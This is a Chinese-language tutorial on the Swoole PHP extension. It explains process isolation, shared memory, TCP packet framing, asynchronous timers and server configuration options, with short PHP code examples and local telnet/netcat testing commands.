Swoole提供的绝大部分模块只能用于cli命令行终端,无法在Web环境中使用,目前只有Client同步客户端可以用于php-fpm环境下 Swoole扩展提供的所有类均以Swoole作为命名空间 Worker进程不得共用同一个Redis或MySQL等网络服务客户端,Redis/MySQL创建连接的相关代码可以放到onWorkerStart回调函数中 【 异步IO程序中不得使用sleep/usleep/time_sleep_until/time_nanosleep等导致整个进程阻塞的睡眠函数 】 sleep函数会使进程陷入睡眠阻塞,直到指定的时间后操作系统才会重新唤醒当前的进程 sleep过程中只有信号可以打断,由于swoole的信号处理是基于signalfd实现的,所以即使发送信号也无法中断sleep swoole_event_add、swoole_timer_tick、swoole_timer_after、swoole_process::signal、异步swoole_client在进程sleep后会停止工作,swoole_server也无法再处理新的请求。onReceive事件中执行了sleep函数,server在100秒内无法再收到任何客户端请求
【 exit/die是危险的,会导致worker进程退出 】 在swoole程序中禁止使用exit/die,如果PHP代码中有exit/die,当前工作的Worker进程、Task进程、User进程及swoole_process进程会立即退出。 使用exit/die后Worker进程会因为异常退出,被master进程再次拉起,最终造成进程不断退出又不断启动和产生大量警报日志 建议使用try/catch的方式替换exit/die,实现中断执行跳出PHP函数调用栈
异常处理的方式比exit/die更友好,因为异常是可控的,exit/die不可控。在最外层进行try/catch即可捕获异常,仅终止当前的任务。Worker进程可以继续处理新的请求,而exit/die会导致进程直接退出,当前进程保存的所有变量和资源都会被销毁。如果进程内还有其他任务要处理,遇到exit/die也将全部丢弃
可通过register_shutdown_function来捕获致命错误,在进程异常退出时做一些请求工作
PHP代码中如果有异常抛出,必须在回调函数中进行try/catch捕获异常,否则会导致工作进程退出
swoole不支持set_exception_handler,必须使用try/catch方式处理异常
【 异步编程 】
异步程序要求代码中不得包含任何同步阻塞操作
异步与同步代码不能混用,一旦应用程序使用了任何同步阻塞的代码,程序即退化为同步模式
【 进程管理 】
默认使用SWOOLE_PROCESS模式,因此会额外创建Master和Manager两个进程。在设置worker_num之后,实际会出现2+worker_num个进程
【 多进程共享数据 】
由于PHP语言不支持多线程,因此Swoole使用多进程模式。在多进程模式下存在进程内存隔离,在工作进程内修改global全局变量和超全局变量时在其他进程是无效的。
进程隔离
$fds = array();
$server->on('connect',function ($server,$fd){
echo "connection open: {$fd}\n";
global $fds;
$fds[] = $fd;
var_dump($fds);
});
$fds虽然是全局变量,但只在当前的进程内有效。Swoole服务器底层会创建多个Worker进程,在var_dump($fds)打印出来的值,只有部分连接的fd。
对应的解决方案就是使用外部存储服务:
1、数据库,如: MySQL、MongoDB
2、缓存服务器,如: Redis、Memcache
3、磁盘文件,多进程并发读写时需要加锁
普通的数据库和磁盘文件操作,存在较多IO等待时间。因此推荐使用:
1、Redis 内存数据库,读写速度非常快
2、/dev/shm 内存文件系统,读写操作全部在内存中完成,无IO消耗,性能极高
3、除了使用存储之外,还可以使用共享内存来保存数据
共享内存
PHP提供了多套共享内存的扩展,但实际上真正在实际项目中可用的并不多。
shm扩展,不推荐使用
提供了shm_put_var/shm_get_var共享内存读写方法。但其底层实现使用链表结构,在保存大量数值时时间复杂度为O(N),性能非常差。并且读写数据没有加锁,存在数据同步问题,需要使用者自行加锁。
shmop扩展,不推荐使用
提供了shmop_read/shmop_write共享内存读写方法。仅提供了基础的共享内存操作指令,并未提供数据结构和封装。不适合普通开发者使用。
apcu扩展
提供了apc_fetch/apc_store可以使用Key-Value方式访问。APC扩展总体上是可以用于实际项目的,缺点是锁的粒度较粗,在大量并发读写操作时锁的碰撞较为密集。
yac扩展
不适合用于保存数据,其设计原理导致存在一定的数据miss率,仅作为缓存,不可作为存储
swoole_table 推荐使用
Swoole官方提供的共享内存读写工具,提供了Key-Value操作方式,使用简单。底层使用自旋锁实现,在大量并发读写操作时性能依然非常强劲。swoole_table仍然存在一个两个缺点,使用时需要根据实际情况来选择。
【 类/函数重复定义 】
swoole常驻内存,所以加载类/函数定义的文件后不会释放。因此引入类/函数的php文件时必须要使用include_once或require_once,否则发生cannot redeclare function/class的致命错误。
【 内存管理 】
PHP守护进程与普通Web程序的变量生命周期、内存管理方式完全不同。编写swoole_server或其他常驻进程时需要特别注意。
【 进程隔离 】
修改了全局变量的值不生效,原因就是全局变量在不同的进程,内存空间是隔离的,所以无效。所以使用swoole开发Server程序需要了解进程隔离问题。
不同的进程中PHP变量不是共享,即使是全局变量,在A进程内修改了它的值,在B进程内是无效的
如果需要在不同的Worker进程内共享数据,可以用Redis、MySQL、文件、Swoole\Table、APCu、shmget等工具实现
不同进程的文件句柄是隔离的,所以在A进程创建的Socket连接或打开的文件,在B进程内是无效,即使是将它的fd发送到B进程也是不可用的
在多进程的服务器中,$i变量虽然是全局变量(global),但由于进程隔离的原因。假设有4个工作进程,在进程1中进行$i++,实际上只有进程1中的$i变成2了,其他另外3个进程内$i变量的值还是1。 正确的做法是使用Swoole提供的Swoole\Atomic或Swoole\Table数据结构来保存数据使用Swoole\Atomic实现,Swoole\Atomic数据是建立在共享内存之上的,使用add方法加1时在其他工作进程内也是有效的
【 while循环的影响 】 异步程序如果遇到死循环,事件将无法触发。异步IO程序使用Reactor模型,运行过程中必须在reactor->wait处轮询。如果遇到死循环,那么程序的控制权就在while中了,reactor无法得到控制权,无法检测事件,所以IO事件回调函数也将无法触发。 密集运算的代码没有任何IO操作,所以不能称为阻塞onReceive事件中执行了死循环,server在无法再收到任何客户端请求,必须等待循环结束才能继续处理新的事件
【 stat缓存清理 】 PHP底层对stat系统调用增加了Cache,在使用stat、fstat、filemtime等函数时,底层可能会命中缓存,返回历史数据。可以使用clearstatcache函数清理文件stat缓存 【 mt_rand随机数 】 在Swoole中如果在父进程内调用了mt_rand,不同的子进程内再调用mt_rand返回的结果会是相同的。所以必须在每个子进程内调用mt_srand重新播种。 shuffle和array_rand等依赖随机数的PHP函数同样会受到影响
网络通信协议设计
一个完整的TCP服务需要处理OnConnect建立连接、OnReceive收到消息、OnClose关闭连接这三个过程,而访问网页的时候这些过程都被浏览器\服务程序内部处理掉了,平时写网页的时候只需要考虑对请求作出响应即可。这种抽象进一步降低了PHP的上手门槛,也让很多人低估了PHP的能力。 而使用Swoole Server的时候需要自己来管理这个过程,同时也可以在这个基础上做到更多的事情 通信的双方约定一种理解的规则,以便对理解对方想表达的信息,这种解析信息的规则就是协议 TCP就是传输层的协议,而HTTP(HyperText Transfer Protocol)是应用层浏览器中输入http://127.0.0.1:9501/,而不是telnet访问的tcp服务器
每次通过浏览器访问不同的网站时,浏览器都会默默生成类似的文本作为WebRequest的正文,提交给对应的服务端 超文本传输协议的本体,它是通过特定格式的字符串完成请求的描述的 HTTP协议有一个基本规则,各个字段之间是通过"\r\n"进行分割的,收到一个完整的HTTP请求的时候,可以用explode方法快速的划分区段,然后再根据区段进行解析就能知道用户请求的是什么了,HTTP协议对返回值的格式也有约定
如果对这个方法做的更完善一些,例如根据请求名,反射出Controller实例,并执行Controller的某个Method,整个过程几乎就跟常见的MVC框架一样了 分层协议的工作原理 TCP作为传输层协议,它仅实现了传输层的某些特性,例如长连接,例如一个高可靠性的传输到位确认机制,但它对它传输的内容和具体怎么被识别或处理是不关心的。 TCP也有自己的交互流程和解析机制,但要比HTTP复杂 而HTTP协议是应用层协议,它关注的是应用,也就是收到传输层TCP收到的消息以后,根据具体的应用进行处理。 除了HTTP以外,常见的诸如HTTPS、FTP、WebSocket等,也都是应用层协议,而它们的传输层都是TCP实现的。 应用层协议百花齐放,传输层的协议却要凋零的多,最常见的无非是TCP和UDP。 所以在架设自己的TCP Server的时候,要解决的第一个问题就是应用层协议是什么? 要解决应用层协议的问题,先要选择一个传输层协议,基于这个协议的特点再去设计应用层协议 TCP协议最大的一个特点就是其传输的数据流是连续的,就像打电话是以语气的停顿、语音、语调等作为理解对方意图的辅助元素,那TCP协议传输的数据流,OnReceive也遇到类似这样的问题 主要因为网络通畅和输入的速度,OnReceive方法被回调次数不一定,可能会回调1次就收到了所有数据,也可能要回调多次才能完整的收到所有数据,但无论回调多少次收到的顺序是与发送顺序保持一致的 所以很多时候会称呼TCP的数据叫数据流,从传输层来看,TCP的数据包之间没有边界,怎么从TCP的数据流中正确的截取每个数据包,是设计TCP协议的第一步,这就是传说中的分包和合包 最常见的数据包处理方式有两种,分别是结束符和固定包头两种,Swoole提供了这两种方案的常规处理,这样在使用的时候就不需要自己写分包合包的代码了 【 为什么需要通信协议 】 TCP协议在底层机制上解决了UDP协议的顺序和丢包重传问题。但相比UDP又带来了新的问题,TCP协议是流式的,数据包没有边界。应用程序使用TCP通信就会面临这些难题。 因为TCP通信是流式的,在接收1个大数据包时,可能会被拆分成多个数据包发送。多次Send底层也可能会合并成一次进行发送。这里就需要2个操作来解决: 分包: Server收到了多个数据包,需要拆分数据包 合包: Server收到的数据只是包的一部分,需要缓存数据,合并成完整的包 所以TCP网络通信时需要设定通信协议,常见的TCP网络通信协议有HTTP、HTTPS、FTP、SMTP、POP3、IMAP、SSH、Redis、Memcache、MySQL 。 如果要设计一个通用协议的Server,那么就要按照通用协议的标准去处理网络数据。除了通用协议外还可以自定义协议。Swoole支持了2种类型的自定义网络通信协议。 header+length+header+data = 固定包头协议 data+eof+data+eof = EOF结束符协议 【 EOF结束符协议 】 EOF协议处理的原理是每个数据包结尾加一串特殊字符表示包已结束。如memcache、ftp、stmp都使用\r\n作为结束符。发送数据时只需要在包末尾增加\r\n即可。使用EOF协议处理,一定要确保数据包中间不会出现EOF,否则会造成分包错误。 结束符处理方式很简单,双方约定各个数据包的结尾有稳定的结束符,且在数据包的正文中不要出现该结束符,那么数据的接收方,只要逐个字节地检查收到的数据,一旦发现结束符就把上一个结束符(也可能是开头),到当前结束符之间的数据拆出来,作为一个数据包,进行进一步的处理 常见的应用层协议中,MEMCACHE\FTP\STMP都是采用这种思路,使用的结束符是"\r\n" 在swoole_server和swoole_client的代码中只需要设置2个参数就可以使用EOF协议处理。 $server->set(array( 'open_eof_split' => true, 'package_eof' => "\r\n" )); 此时假如发来的数据是根据"\r\n"作为结束符分包的数据流,每次OnReceive的时候就一定是Swoole已经分好的数据包,直接做进一步的应用协议处理就好了 $client->set(array( 'open_eof_split' => true, 'package_eof' => "\r\n" )); 【 固定包头+包体协议 】 这种方案也是常见的解决方案,在BAT的服务器程序中经常能看到,核心设计思路是每个数据包由两部分组成,分别是固定长度的包头和不确定长度的包体。 包头中由一个字段描述了包体或整个数据包的长度,长度一般是使用2/4字节整数来表示,服务器接收数据收到包头后,先按包头的固定长度读取一定的数据,然后解析包头中的内容,获得这个数据包包体的长度,然后继续接收数据,直到收到了跟包头中描述的包体长度一样的数据,进而截断出完整的数据包。 基本上除了EOF的方式以外,都是这种处理方式 作为计算机,使用二进制的方式直接描述数据包才是更常见解决方案 Swoole的配置可以很好的支持这种协议,可以灵活地设置4项参数应对所有情况。 Swoole的Server和异步Client都是在onReceive回调函数中处理数据包,当设置了协议处理后,只有收到一个完整数据包时才会触发onReceive事件。同步客户端在设置了协议处理后,调用$client->recv()不再需要传入长度,recv函数在收到完整数据包或发生错误后返回。 $server->set(array( 'open_length_check' => true, 'package_max_length' => 81920, 'package_length_type' => 'n',//see php pack() 'package_length_offset' => 0, 'package_body_offset' => 2, )); 例如约定包头的长度是4个byte,这4个byte按照大端序就组成了一个int,而这个int数据描述的就是整个数据包的长度,包括包头本身的4个byte的长度,那么此时Swoole中的配置应该是: $server->set([ 'open_length_check' => true, //N表示32bit的大端序 'package_length_type' => 'N', //从第几个字节开始是长度,比如包头长度为4个byte,第0个byte开始就是长度值,那这里就填入0 'package_length_offset' => 0, //从第几个字节开始计算长度,比如包头为长度为4个byte,第0个字节为长度值,包体长度为1000。如果长度包含包头,这里填入0,如果不包含包头,这里填入4 'package_body_offset' => 2, //最大允许的包长度。因为在一个请求包完整接收前,需要将所有数据保存在内存中,所以需要做保护,避免内存占用过大。 'package_max_length' => 1024 ]);
异步毫秒定时器
swoole提供类似JS的setInterval/setTimeout异步高精度定时器,粒度为毫秒级,无法用于Manager管理进程中 底层基于epoll_wait和setitimer实现,数据结构使用最小堆,可支持添加大量定时器。 定时器是基于epoll方法的timeout机制实现的,不再依赖单独的定时线程,更准确,且Swoole扩展使用最小堆存储定时器,减少定时器的检索次数,提高了运行效率 定时器的添加和删除全部为内存操作,因此性能非常高。官方的基准测试脚本添加或删除10万个随机时间的定时器耗时为0.08s左右 swoole timer基于epoll的timeout机制实现,基于reactor线程epoll实例来运行,在task worker中使用系统定时器 onTimer是在调用tick方法的进程中回调,因此可直接使用在worker进程中声明的对象(局部变量无法访问) 创建的定时器是不能跨进程的,因此在一个Worker进程中创建的定时器,也只能在这个Worker进程中删除,使用$worker_id变量来区分Worker进程 【 swoole_timer_tick() 】 int swoole_timer_tick(int $msec,callable $callback,mixed $params = null); 设置一个间隔时钟定时器,与after定时器不同的是tick定时器会持续触发直到调用swoole_timer_clear清除。 $msec 指定时间,单位为毫秒。如1000表示1秒,最大不得超过86400000(十天) $callback 时间到期后所执行的函数,必须是可以调用的,可以使用匿名函数的use语法传递参数到回调函数中 定时器触发的回调函数接受2个参数。 function callbackFunction(int $timer_id); $timer_id 定时器的ID,可用于swoole_timer_clear清除此定时器 $params 由swoole_timer_tick传入的第三个参数
【 swoole_timer_after() 】 int swoole_timer_after(int $after_time_ms,mixed $callback_function); 在指定的时间后执行函数,执行完成后定时器就会删除,执行成功返回定时器ID,若取消定时器可调用swoole_timer_clear $after_time_ms 指定时间,单位为毫秒,最大不得超过86400000 $callback_function 时间到期后所执行的函数,必须是可以调用的。可以使用匿名函数的use语法传递参数到回调函数中 after定时器的回调函数不接受任何参数,可以通过闭包方式传递参数,也可以通过类成员变量的方式传递 swoole_timer_after函数是一个一次性定时器,执行完成后就会销毁。此函数与PHP标准库提供的sleep函数不同,after是非阻塞的。而sleep调用后会导致当前的进程进入阻塞,将无法处理新的请求。 $serv->after( 1000 ,array($this,'onAfter') ,$str ); 指定在1000ms后,执行onAfter回调函数,函数参数为$str服务器要求在收到某个请求后,在30S后向所有用户发起推送
【 swoole_timer_clear() 】 bool swoole_timer_clear(int $timer_id) 使用定时器ID来删除定时器 $timer_id,定时器ID,调用swoole_timer_tick、swoole_timer_after后会返回一个整数的ID swoole_timer_clear不能用于清除其他进程的定时器,只作用于当前进程 【 定时器校正 】 定时器回调函数的执行时间不影响下一次定时器执行的时间。实例: 在0.002s设置了10ms的tick定时器,第一次会在0.012s执行回调函数,如果回调函数执行了5ms,下一次定时器仍然会在0.022s时触发,而不是0.027s。 但如果定时器回调函数的执行时间过长,甚至覆盖了下一次定时器执行的时间。底层会进行时间校正,丢弃已过期的行为,在下一时间回调。如上面例子中0.012s时的回调函数执行了15ms,本该在0.022s产生一次定时回调。实际上本次定时器在0.027s才返回,这时定时早已过期。底层会在0.032s时再次触发定时器回调 定时器仅在当前进程空间内有效 定时器是纯异步实现的,不能与阻塞IO的函数一起使用,否则定时器的执行时间会发生错乱 定时器在执行的过程中可能存在一定误差Use coroutine way
【 task进程中使用毫秒定时器 】 task进程有别于worker进程,worker进程内有EventLoop,所以即可同步阻塞,又可以异步非阻塞。但task进程设计之初就是仅仅支持同步阻塞模式的。 而swoole的毫秒定时器是使用timerfd实现的异步定时器。所以在1.7.4之前,task进程中是无法使用定时器的。1.7.4专门对task进程进行了优化,实现了同步的信号触发式定时器。 swoole并不是在信号回调函数中执行定时器代码,所以不存在安全问题。 使用方法与普通的worker进程相同。
swoole_sever 只能用于php-cli环境,否则会抛出致命错误
Swoole Server创建一个异步服务器程序,支持TCP、UDP、UnixSocket 3种协议,支持IPv4和IPv6,支持SSL/TLS单向双向证书的隧道加密。使用者无需关注底层实现细节,仅需要设置网络事件的回调函数即可。 请勿在使用Server创建之前调用其他异步IO的API,否则将会创建失败。可以在Server启动后onWorkerStart回调函数中使用 swoole_server是异步服务器,所以是通过监听事件的方式来编写程序的。当对应的事件发生时底层会主动回调指定的PHP函数。如当有新的TCP连接进入时会执行onConnect事件回调,当某个连接向服务器发送数据时会回调onReceive函数 服务器可以同时被成千上万个客户端连接,$fd就是客户端连接的唯一标识符 调用$server->send()方法向客户端连接发送数据,参数就是$fd客户端标识符 调用$server->close()方法可以强制关闭某个客户端连接 客户端可能会主动断开连接,此时会触发onClose事件回调
TCP服务器
简单Swoole tcp server实例 命令行运行server.php程序,启动成功后可使用netstat工具看到已经在监听9501端口,这时可使用telnet/netcat工具连接服务器 telnet 127.0.0.1 9501 hello Swoole: hello 无法连接到服务器的简单检测手段 1、在Linux下使用netstat -an | grep 端口,查看端口是否已经被打开处于Listening状态 2、上一步确认后,检查防火墙问题 3、注意服务器所使用的IP地址,如果是127.0.0.1回环地址,则客户端只能使用127.0.0.1才能连接上tcp_server.php客户端
UDP服务器
UDP服务器与TCP服务器不同,UDP没有连接的概念。启动Server后客户端无需Connect,直接可以向Server监听的端口发送数据包。对应的事件为onPacket。 $clientInfo是客户端的IP和端口等相关信息的数组 调用 $server->sendto 方法向客户端发送数据 php udp_server.php UDP服务器可以使用netcat -u 来连接测试 netcat -u 127.0.0.1 9501 hello Server: helloudp_server.php
Swoole server配置选项
swoole_server::set函数用于设置swoole_server运行时的各项参数 在swoole中一个swoole_server的相关属性可以通过$serv->set( $array configs );函数来配置,这些配置选项使得swoole更加灵活
1.worker_num: 指定启动的worker进程数。
swoole是master->n*worker的模式,开启的worker进程数越多,server负载能力越大,比如1个请求耗时100ms,要提供1000QPS的处理能力,那必须配置100个进程或更多,每个进程占用40M内存,那100个进程就需要占用4G内存
但相应的server占有的内存也会更多,worker进程数过多时进程间切换带来的系统开销也会更大,所以这里适当即可,不要配置过大
因此业务代码是全异步非阻塞时设置为开启的worker进程数为cpu核数的1-4倍最合理,业务代码为同步阻塞需要根据请求响应时间和系统负载来调整
默认设置为SWOOLE_CPU_NUM,最大不得超过SWOOLE_CPU_NUM * 1000
测试SWOOLE_PROCESS模式下worker_num默认为4,SWOOLE_BASE模式下worker_num默认为1
'worker_num' => 8
2.max_request: 每个worker进程允许处理的最大任务数,默认0
一个worker进程在处理完max_request个请求任务后将自动退出,并被重新拉起一个新的worker进程,进程退出后会释放所有内存和资源,为了防止worker进程处理大量请求后可能引起的内存溢出。
max_request只能用于同步阻塞、无状态的请求响应式服务器程序,纯异步的Server不应当设置max_request,使用Base模式时max_request是无效的
在swoole中真正维持客户端TCP连接的是master进程,worker进程仅处理客户端发送来的请求,因为客户端是不需要感知Worker进程重启的
当worker进程内发生致命错误或人工执行exit时,进程会自动退出。master进程会重新启动一个新的worker进程来继续处理请求
'max_request' => 10000
3.max_conn(max_connection): 服务器允许维持的最大TCP连接数
当服务器已有的连接数达到该值时新的连接会被拒绝。该参数的值不能超过操作系统ulimit -n的值,默认值为ulimit -n的值,同时此值也不宜设置过大,因为swoole会一次性申请一大块内存用于存放每一个connection的信息。
此选项设置过小底层会抛出错误,并设置为ulimit -n的值。
最小值为(serv->worker_num + SwooleG.task_worker_num) * 2 + 32
'max_conn' => 10000
4.ipc_mode: 设置进程间的通信方式,共有三种通信方式,参数如下:
1 => 使用unix socket通信
2 => 使用消息队列通信
3 => 使用消息队列通信,并设置为争抢模式
'ipc_mode' => 1
5.dispatch_mode: 指定数据包分发策略,共有三种模式,默认为2:
1 => 轮循模式,收到会轮循分配给每一个worker进程
2 => 固定模式,根据连接的文件描述符分配worker。这样可以保证同一个连接发来的数据只会被同一个worker处理
3 => 抢占模式,主进程会根据Worker的忙闲状态选择投递,只会投递给处于闲置状态的Worker
4 => IP分配,根据客户端IP进行取模hash,分配给一个固定的worker进程。可以保证同一个来源IP的连接数据总会被分配到同一个worker进程。算法为ip2long(ClientIP) % worker_num
5 => UID分配,需要用户代码中调用$serv->bind()将一个连接绑定1个uid,然后swoole根据UID的值分配到不同的worker进程。算法为UID%worker_num,如果需要使用字符串作为UID,可以使用crc32(UID_STRING)
7 => stream模式,空闲的worker会accept连接,并接受reactor的新请求
无状态Server可以使用1或3,同步阻塞Server使用3,异步非阻塞Server使用1
有状态使用2、4、5
dispatch_mode=1/3时底层会屏蔽onConnect/onClose事件,原因是这2种模式下无法保证onConnect/onClose/onReceive的顺序
非请求响应式的服务器程序,请不要使用模式1或3
UDP协议
dispatch_mode=2/4/5时为固定分配,底层使用客户端IP取模散列到不同的worker进程,算法为 ip2long(ClientIP) % worker_num
dispatch_mode=1/3时随机分配到不同的worker进程
BASE模式
dispatch_mode配置在BASE模式是无效的,因为BASE不存在投递任务,当Reactor线程收到客户端发来的数据后会立即在当前线程/进程回调onReceive,不需要投递Worker进程
'dispatch_mode' => 2
6.task_worker_num: 服务器开启task进程数。
设置此参数后服务器会开启task功能,此时可以使用task方法投递异步任务。
设置此参数后,必须要给swoole_server设置onTask/onFinish两个回调函数,否则启动服务器会报错。
Task进程是同步阻塞的,配置方式与Worker同步模式一致,最大值不得超过SWOOLE_CPU_NUM * 1000
计算方法
单个task的处理耗时如100ms,那一个进程1秒就可以处理1/0.1=10个task
task投递的速度如每秒产生2000个task,2000/10=200,需要设置task_worker_num => 200,启用200个task进程
Task进程内不能使用swoole_server->task方法
Task进程内不能使用swoole_mysql、swoole_redis、swoole_event等异步IO函数
'task_worker_num' => 8
7.task_max_request: 每个task进程允许处理的最大任务数。
一个task进程在处理完超过此数值的任务后将自动退出,防止PHP进程内存溢出。如果不希望进程自动退出可以设置为0
'task_max_request' => 10000
8.task_ipc_mode: 设置task进程与worker进程之间通信的方式。
1,使用unix socket通信,默认模式
2,使用消息队列通信
3,使用消息队列通信,并设置为争抢模式
模式2和模式3的不同之处
模式2支持定向投递,$serv->task($data,$task_worker_id)可以指定投递到哪个task进程。
模式3是完全争抢模式,task进程会争抢队列,将无法使用定向投递,task/taskwait将无法指定目标进程ID,即使指定了$task_worker_id,在模式3下也是无效的。
模式3会影响sendMessage方法,使sendMessage发送的消息会随机被某一个task进程获取
消息队列模式
消息队列模式使用操作系统提供的内存队列存储数据,未指定mssage_queue_key消息队列Key,将使用私有队列,在Server程序终止后会删除消息队列。
指定消息队列Key后Server程序终止后,消息队列中的数据不会删除,因此进程重启后仍然能取到数据
可使用ipcrm -q消息队列ID手工删除消息队列数据
'task_ipc_mode' => 2
9.daemonize: 设置程序进入后台作为守护进程运行。
设置daemonize =>1时程序将转入后台作为守护进程运行,长时间运行的服务器端程序必须启用此项。如果不启用守护进程,当ssh终端退出后,程序将被终止运行。启用守护进程后,标准输入和输出会被重定向到log_file,如果log_file未设置,则将重定向到/dev/null,所有输出会被丢弃。
启用守护进程后CWD(当前目录)环境变量的值会发生变更,相对路径的文件读写会出错。PHP程序中必须使用绝对路径
systemd
使用systemd管理Swoole服务时,请勿设置daemonize = 1。主要原因是systemd的机制与init不同。init进程的PID为1,程序使用daemonize后会脱离终端,最终被init进程托管,与init关系变为父子进程关系。
但systemd是启动了一个单独的后台进程,自行fork管理其他服务进程,因此不需要daemonize,反而使用了daemonize = 1会使得Swoole程序与该管理进程失去父子进程关系
'daemonize' => 0
10.log_file: 指定日志文件路径
在swoole运行期发生的异常信息会记录到这个文件中。默认会打印到屏幕。注意log_file不会自动切分文件,所以需要定期清理此文件。
log_file => '/data/log/swoole.log',指定swoole错误日志文件。在swoole运行期发生的异常信息会记录到这个文件中。默认会打印到屏幕。
log_file不会自动切分文件,所以需要定期清理此文件。观察log_file的输出可以得到服务器的各类异常信息和警告。
log_file中的日志仅仅是做运行时错误记录,没有长久存储的必要。
开启守护进程模式后(daemonize => true)标准输出将会被重定向到log_file。在PHP代码中echo/var_dump/print等打印到屏幕的内容会写入到log_file文件
日志标号
在日志信息中进程ID前会加一些标号,表示日志产生的线程/进程类型。
# Master进程
$ Manager进程
* Worker进程
^ Task进程
重新打开日志文件
在服务器程序运行期间日志文件被mv移动或unlink删除后,日志信息将无法正常写入,这时可以向Server发送SIGRTM
'log_file' => '/data/log/swoole.log'
11、log_level
设置Server错误日志打印的等级,范围是0-5。低于log_level设置的日志信息不会抛出。
$serv->set(array( 'log_level' => 1 ));
级别对应
0 => SWOOLE_LOG_DEBUG
1 => SWOOLE_LOG_TRACE
2 => SWOOLE_LOG_INFO
3 => SWOOLE_LOG_NOTICE
4 => SWOOLE_LOG_WARNING
5 => SWOOLE_LOG_ERROR
SWOOLE_LOG_DEBUG和SWOOLE_LOG_TRACE仅在编译为--enable-debug-log和--enable-trace-log版本时可用
默认为SWOOLE_LOG_DEBUG也就是所有级别都打印
在开启daemonize守护进程时,底层将把程序中的所有打印屏幕的输出内容写入到log_file,这部分内容不受log_level控制。
12.heartbeat_check_interval: 设置心跳检测间隔
此选项表示每隔多久轮循一次,单位秒。每次检测时遍历所有连接,如果某个连接在间隔时间内没有数据发送,则强制关闭连接(会有onClose回调)。
'heartbeat_check_interval' => 60
13.heartbeat_idle_time: 设置某个连接允许的最大闲置时间。
该参数配合heartbeat_check_interval使用。每次遍历所有连接时,如果某个连接在heartbeat_idle_time时间内没有数据发送,则强制关闭连接。默认设置为heartbeat_check_interval * 2。
'heartbeat_idle_time' => 600
14.open_eof_check: 打开eof检测功能
与package_eof配合使用。此选项将检测客户端连接发来的数据,当数据包结尾是指定的package_eof 字符串时才会将数据包投递至Worker进程,否则会一直拼接数据包直到缓存溢出或超时才会终止。一旦出错,该连接会被判定为恶意连接,数据包会被丢弃并强制关闭连接。
EOF检测不会从数据中间查找eof字符串,所以Worker进程可能会同时收到多个数据包,需要在应用层代码中自行explode("\r\n",$data) 来拆分数据包
'open_eof_check' => true
15.package_eof: 设置EOF字符串
说明: package_eof最大只允许传入8个字节的字符串
'package_eof ' => '/r/n'
16.open_length_check: 打开包长检测
包长检测提供了固定包头+包体这种格式协议的解析,。启用后,可以保证Worker进程onReceive每次都会收到一个完整的数据包。
'open_length_check' => true
17.package_length_offset: 包头中第几个字节开始存放了长度字段
配合open_length_check使用,用于指明长度字段的位置。
'package_length_offset' => 5
18.package_body_offset: 从第几个字节开始计算长度。
配合open_length_check使用,用于指明包头的长度。
'package_body_offset' => 10
19.package_length_type: 指定包长字段的类型
配合open_length_check使用,指定长度字段的类型,参数如下:
's' => int16_t 机器字节序
'S' => uint16_t 机器字节序
'n' => uint16_t 大端字节序
'N' => uint32_t 大端字节序
'L' => uint32_t 机器字节序
'l' => int 机器字节序
'package_length_type' => 'N'
20.package_max_length: 设置最大数据包尺寸
该值决定了数据包缓存区的大小。如果缓存的数据超过了该值,则会引发错误。具体错误处理由开启的协议解析的类型决定。
'package_max_length' => 8192
21.open_cpu_affinity: 启用CPU亲和性设置
在多核的硬件平台中,启用此特性会将swoole的reactor线程/worker进程绑定到固定的一个核上。可以避免进程/线程的运行时在多个核之间互相切换,提高CPU Cache的命中率。
'open_cpu_affinity' => true
22.open_tcp_nodelay: 启用open_tcp_nodelay
开启后TCP连接发送数据时会无关闭Nagle合并算法,立即发往客户端连接。在某些场景下,如http服务器,可以提升响应速度。
'open_tcp_nodelay' => true
23.tcp_defer_accept: 启用tcp_defer_accept特性
启动后,只有一个TCP连接有数据发送时才会触发accept。
'tcp_defer_accept' => true
24.ssl_cert_file和ssl_key_file: 设置SSL隧道加密
设置值为一个文件名字符串,指定cert证书和key的路径。
'ssl_cert_file' => '/config/ssl.crt',
'ssl_key_file' => '/config//ssl.key',
25.open_tcp_keepalive: 打开TCP的KEEP_ALIVE选项
使用TCP内置的keep_alive属性,用于保证连接不会因为长时闲置而被关闭。
'open_tcp_keepalive' => true
26.tcp_keepidle: 指定探测间隔。
配合open_tcp_keepalive使用,如果某个连接在tcp_keepidle内没有任何数据来往,则进行探测。
'tcp_keepidle' => 600
27.tcp_keepinterval: 指定探测时的发包间隔
说明: 配合open_tcp_keepalive使用
'tcp_keepinterval' => 60
28.tcp_keepcount: 指定探测的尝试次数
说明: 配合open_tcp_keepalive使用,若tcp_keepcount次尝试后仍无响应,则判定连接已关闭。
'tcp_keepcount' => 5
29.backlog: 指定Listen队列长度
此参数将决定最多同时有多少个等待accept的连接。
'backlog' => 128
tcp有三次握手的过程,客户端syn=>服务端syn+ack=>客户端ack,当服务器收到客户端的ack后会将连接放到一个叫做accept queue的队列里面(注1),队列的大小由backlog参数和配置somaxconn的最小值决定,可以通过ss -lt命令查看最终的accept queue队列大小,swoole的主进程调用accept(注2)从accept queue里面取走。 当accept queue满了之后连接有可能成功(注4),也有可能失败,失败后客户端的表现就是连接被重置(注3)或者连接超时,而服务端会记录失败的记录,可以通过 netstat -s|grep 'times thelistenqueue of a socket overflowed'来查看日志。如果出现了上述现象,你就应该调大该值了。 幸运的是swoole与php-fpm/apache等软件不同,并不依赖backlog来解决连接排队的问题。所以基本不会遇到上述现象。
注1:linux2.2之后握手过程分为syn queue和accept queue两个队列,syn queue长度由tcp_max_syn_backlog决定。
注2:高版本内核调用的是accept4,为了节省一次set no block系统调用。
注3:客户端收到syn+ack包就认为连接成功了,实际上服务端还处于半连接状态,有可能发送rst包给客户端,客户端的表现就是Connection reset by peer。
注4:成功是通过tcp的重传机制,相关的配置有tcp_synack_retries和tcp_abort_on_overflow
30.reactor_num: 指定Reactor线程数
设置主进程内事件处理线程的数量,默认会启用CPU核数相同的数量,一般设置为CPU核数的1-4倍,最大不得超过CPU核数*4。
'reactor_num' => 8
31.task_tmpdir: 设置task的数据临时目录
在swoole_server中,如果投递的数据超过8192字节,将启用临时文件来保存数据。这里的task_tmpdir就是用来设置临时文件保存的位置。
需要swoole-1.7.7+
'task_tmpdir' => '/tmp/task/'
Server的两种运行模式
